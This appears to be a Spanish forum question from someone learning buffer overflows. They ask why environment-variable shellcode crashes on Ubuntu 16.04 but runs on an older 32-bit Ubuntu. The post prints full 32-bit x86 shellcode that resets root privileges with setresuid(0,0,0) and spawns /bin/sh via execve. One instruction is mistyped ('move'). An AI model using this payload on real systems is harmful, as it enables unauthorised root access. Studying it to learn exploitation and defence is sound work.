Debido a que estaba probando un código, para aprender.
Intenté usar un código de muestra en el ensamblado de 32 bits, que compilé. Y lo exportamos a una variable de entorno. Luego obtuve la dirección hexadecimal de la variable de código de shell para el programa bash que quería ejecutar. La dirección hexadecimal debe sobrescribir la dirección de retorno del programa. En un Ubuntu 16.04 de 64 bits obtuve una dirección hexadecimal de 48 bits en lugar de 32 bits. Uso dos Ubuntu 16.04 (32 bits / 64 bits) y una versión anterior de Ubuntu (32 bits), todas máquinas virtuales. Sin el código de shell, el programa funciona normalmente en todos estos sistemas operativos.
Cuando ejecuto el programa con el código de shell, el programa se detiene con un error de segmentación.
Mi pregunta es ¿por qué se ejecuta bien en un Ubuntu antiguo (32 bits) y no en un Ubuntu 16.04 (32 bits / 64 bits)?
BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; delete EAX
xor ebx, ebx ; delete EBX
xor ecx, ecx ; delete ECX
xor edx, edx ; delete EDX
mov al, 0xa4 ; 164 (0xa4) for system call 164
int 0x80 ; setresuid(0,0,0): reset root permission
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; delete again EAX
mov al, 11 ; system call 11
push ecx ; some 0's as string terminator on the stack
push 0x68732f2f ; "//sh" on the stack
push 0x6e69622f ; "/bin" on the stack
mov ebx, esp ; copy address of "/bin//sh" from ESP to EBX
push ecx ; 32bit-null-terminator on the stack
mov edx, esp ; empty array for envp
push ebx ; String address over the null-terminator to stack
move ecx, esp ; argv-array with string pointer
int 0x80 ; execve("/bin//sh", ["/bin//sh" NULL], [NULL])